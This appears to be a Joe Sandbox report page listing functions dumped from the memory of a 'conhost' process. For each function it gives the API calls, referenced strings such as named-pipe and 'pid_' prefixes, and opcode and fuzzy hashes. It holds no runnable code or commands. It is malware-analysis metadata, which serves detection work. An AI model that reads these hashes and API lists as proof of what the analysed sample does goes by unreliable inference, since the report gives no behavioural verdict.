_IsNonwritableInCurrentImage.LIBCMT ref: 0000014ECB4788D8

Strings

f, xrefs: 0000014ECB478856
displacement map', xrefs: 0000014ECB4788D1
csm, xrefs: 0000014ECB4788BE

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: a8e0203c589ca72d3ee40062dc9da409cd1db6d1748801c39dac5d0965335795
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: 29319C322197408EEF14DF22F884B9937E4F340B99F558014EF96537A5EB39C941E704

Function 0000014ECB4A9418 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014ECB4A9443
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014ECB4A94D8
RtlUnwindEx.NTDLL ref: 0000014ECB4A9527

Strings

f, xrefs: 0000014ECB4A9456
csm, xrefs: 0000014ECB4A94BE

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction ID: c94268d2ef066480d23149efd2f8e31cb5ea7c4b2a23974b180cd3b2ddb0bbbc
Opcode Fuzzy Hash: cd5e78f7a824d61b6a4bd1de3076d2d48bd843f6231fa7e8b66aa639a396b76c
Instruction Fuzzy Hash: E1319132209A609EEF14DF15F888BDA77E8F340B88F558014AF56477A8EB38C961E704

Function 0000014ECB4A19D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000014ECB4A19F8
StrCmpNIW.SHLWAPI ref: 0000014ECB4A1A12
lstrlenW.KERNEL32 ref: 0000014ECB4A1A21
StrCpyW.SHLWAPI ref: 0000014ECB4A1A36

Strings

\\?\, xrefs: 0000014ECB4A1A06

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction ID: 4a3d00bd609ffdeb84294fe8d25642d74be7a577b0e3eb28c1f44204beb739b7
Opcode Fuzzy Hash: d5ec68f96dae6b7ecf4cdbbeb250ae8ba7b628e03b919f4631671672637286c6
Instruction Fuzzy Hash: 15F06872348A819AEF208F21F5D47D9A3A0F744B98F844020DB4986974EF7CC648D700

Function 0000014ECB4A330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,0000014ECB4A2576), ref: 0000014ECB4A332E
StrCpyW.SHLWAPI ref: 0000014ECB4A333E
StrCatW.SHLWAPI ref: 0000014ECB4A334A
PathCombineW.SHLWAPI(?,?,00000000,0000014ECB4A2576), ref: 0000014ECB4A3358

Strings

\\.\pipe\, xrefs: 0000014ECB4A3324

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: d70698dd1dcf4f203e29825757f32f0de361c7d4eb8d0262746d17ba847ee2c5
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 29F0F87521CB9086EE149B17B99419AA6A5BB48FC0F08A021EF5A87B28EF38C455D700

Function 0000014ECB4AC0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000014ECB4AC0ED
GetProcAddress.KERNEL32 ref: 0000014ECB4AC103
FreeLibrary.KERNEL32 ref: 0000014ECB4AC12A

Strings

CorExitProcess, xrefs: 0000014ECB4AC0FC
mscoree.dll, xrefs: 0000014ECB4AC0E4

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: efef181d9041e5bdc727d28c784f1bc4dc17641553488d2d864364fdb4984d0b
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: A1F09671319E0089FF148B24F8C43A963A0FB44BA5F541219C76A852F4EF3CC049E700

Function 0000014ECB4A5500 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014ECB4A5586

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction ID: f683c3630e1b7a44d7615040bde159651ae2f9df42aeb2fcfa7e2f913512e2f9
Opcode Fuzzy Hash: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction Fuzzy Hash: 3702CA3621DB948AEB60CB59F59439AB7E0F3C4794F100115EB8E87BA8EB7DC854DB00

Function 0000014ECB4A5B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014ECB4A5B56

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: b704e71cc39e87cb397920f7996481d8c0980000fd8d472db17156e02ddbc5dc
Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: 8861C83651DA54CAEB609B16F58439AB7E0F388B84F504115EB8E47BB8EB7DC950DF00

Function 0000014ECB483934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000014ECB48395C
_set_statfp.LIBCMT ref: 0000014ECB483977
_set_statfp.LIBCMT ref: 0000014ECB483993
_set_statfp.LIBCMT ref: 0000014ECB4839CF

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 043c364b9d4a95e6fd3743d88b1ccff48b5b7db012de15f136be2776490f4f74
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 9411A332A1CB104DFE541768F4C63EB31E2FB55374F050634BB66C72FAFA6A8884A181

Function 0000014ECB4B4534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000014ECB4B455C
_set_statfp.LIBCMT ref: 0000014ECB4B4577
_set_statfp.LIBCMT ref: 0000014ECB4B4593
_set_statfp.LIBCMT ref: 0000014ECB4B45CF

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 43cef54a3338e55a7097a972b6d8bc0f3c9d209b2646d3ad7563f1e9377f18e5
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3311AC72A1CE0049FE641768F4C6BE911D0BF593B8F494624EB76C76FAEA2888456200

Function 0000014ECB4AAE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000014ECB4AAE98
_CallSETranslator.LIBVCRUNTIME ref: 0000014ECB4AAEE7

Strings

MOC, xrefs: 0000014ECB4AAEAC
RCC, xrefs: 0000014ECB4AAEB5

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: 460ecc503d2186cdbbd2e73aa9df040e9b1c53d1ffdd33e31d4b14a253e26d45
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: E0618C73608B948AEB64DF65E4803ED7BE0F348B88F044215EF5917BA9EB38D5A5D700

Function 0000014ECB47A5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014ECB47A5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000014ECB47A6B8

Strings

csm, xrefs: 0000014ECB47A70A
csm, xrefs: 0000014ECB47A5F2

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 8ca3eb69dc5922fec1d8d39842d0dbfe659504a2b72b01adb7ae290cdae52f62
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 20517D32108380CEEF748F26A58439977E0F354B99F145116EB99A7BE5EB38D461EB01

Function 0000014ECB4AB1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014ECB4AB1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000014ECB4AB2B8

Strings

csm, xrefs: 0000014ECB4AB30A
csm, xrefs: 0000014ECB4AB1F2

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 00f61466da1fde8208a06350e0743895f8a66b9fa396c11e96be43c9fd2544ef
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: DD517C322086A0CEEF649FA5B4943AC77E0F355B84F144216DB8987BE5EB38D4B1E701

Function 0000014ECB4A3554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 0000014ECB4A3576
StrStrW.SHLWAPI ref: 0000014ECB4A3594
StrToIntW.SHLWAPI ref: 0000014ECB4A35BB

Part of subcall function 0000014ECB4A1934: OpenProcess.KERNEL32 ref: 0000014ECB4A195A
Part of subcall function 0000014ECB4A1934: K32GetModuleFileNameExW.KERNEL32 ref: 0000014ECB4A1978
Part of subcall function 0000014ECB4A1934: PathFindFileNameW.SHLWAPI ref: 0000014ECB4A1987
Part of subcall function 0000014ECB4A1934: lstrlenW.KERNEL32 ref: 0000014ECB4A1993
Part of subcall function 0000014ECB4A1934: StrCpyW.SHLWAPI ref: 0000014ECB4A19A6
Part of subcall function 0000014ECB4A1934: CloseHandle.KERNEL32 ref: 0000014ECB4A19B4

Part of subcall function 0000014ECB4A3C74: StrCmpNIW.SHLWAPI(?,?,?,0000014ECB4A254B), ref: 0000014ECB4A3C8C

Strings

pid_, xrefs: 0000014ECB4A356C

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction ID: 6ff53002e7311ccbc260ff3840f4a39f3f0bf47876e1bfb530d94f5637898aff
Opcode Fuzzy Hash: 003ff62f248625063318c3f9e3d6e241277a7bda76ff5f02da447dbddd7f43fe
Instruction Fuzzy Hash: A5113D31318A619AFF609B29F8853DA62E5F785780F944135AB49C3BB4FF38C925E740

Function 0000014ECB4B2488 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000014ECB4B2507
WriteFile.KERNEL32 ref: 0000014ECB4B27CF
WriteFile.KERNEL32 ref: 0000014ECB4B2815
GetLastError.KERNEL32 ref: 0000014ECB4B28CB

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction ID: 2606ce5e1604f9996c77700c61670735bf026a26f6a8b0206751860bcd12478c
Opcode Fuzzy Hash: 795992a6124246315900671f12580f797be80ebc569419187a9af15682e1d93c
Instruction Fuzzy Hash: 37D1AD32B08A808EEF11CFA9E4802DC3BF5F354B98F144216CF5997BA9EA34C45AD740

Function 0000014ECB4A14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014ECB4A14C5
HeapFree.KERNEL32 ref: 0000014ECB4A14D4
GetProcessHeap.KERNEL32 ref: 0000014ECB4A14E1
HeapFree.KERNEL32 ref: 0000014ECB4A14F0
GetProcessHeap.KERNEL32 ref: 0000014ECB4A1500

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: cb981b2c927b80340f727442a69f175b1a5c3fcf92e6e66e8fe4d8b69f4db14f
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: 65012136618E90CADB44DF66F88419AB7E5F788F81F044425EF4993729EF38C455D740

Function 0000014ECB4B2DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,0000014ECB4B2D9B), ref: 0000014ECB4B2ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,0000014ECB4B2D9B), ref: 0000014ECB4B2F57

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: fa883167bd0f39eab7330fdd754d9f7e680349b8f6c244053ea31aca32ffb997
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: E391A172718A509DFF61DF6AA4C03EE7BE1B754B88F544109DF0A97AA9EB34C442E700

Function 0000014ECB4A7D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000014ECB4A7DBC
GetCurrentThreadId.KERNEL32 ref: 0000014ECB4A7DCA
GetCurrentProcessId.KERNEL32 ref: 0000014ECB4A7DD6
QueryPerformanceCounter.KERNEL32 ref: 0000014ECB4A7DE6

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: 8c3a64ffed7f3241deb6c345a5a1af3eaf3c4365081b12bddd74464ebd3714d6
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: CD112A36754F008AEF40DF61F8953E933A4F719B58F440E21DB6D86BA4EB78C1A89380

Function 0000014ECB4A2604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000014ECB4A26E8
StrCpyW.SHLWAPI ref: 0000014ECB4A2701

Strings

\\.\pipe\, xrefs: 0000014ECB4A26F3

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: 327cbeb1b25d94e30865976371b659ccb76cc1f76020cb7fc6fc26ad0746da85
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: 027191362087A14AEF24DF26A8C43EAB7D1F785B84F45011AEF4943BA9EF34C614E740

Function 0000014ECB47A24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000014ECB47A2E7

Strings

RCC, xrefs: 0000014ECB47A2B5
MOC, xrefs: 0000014ECB47A2AC

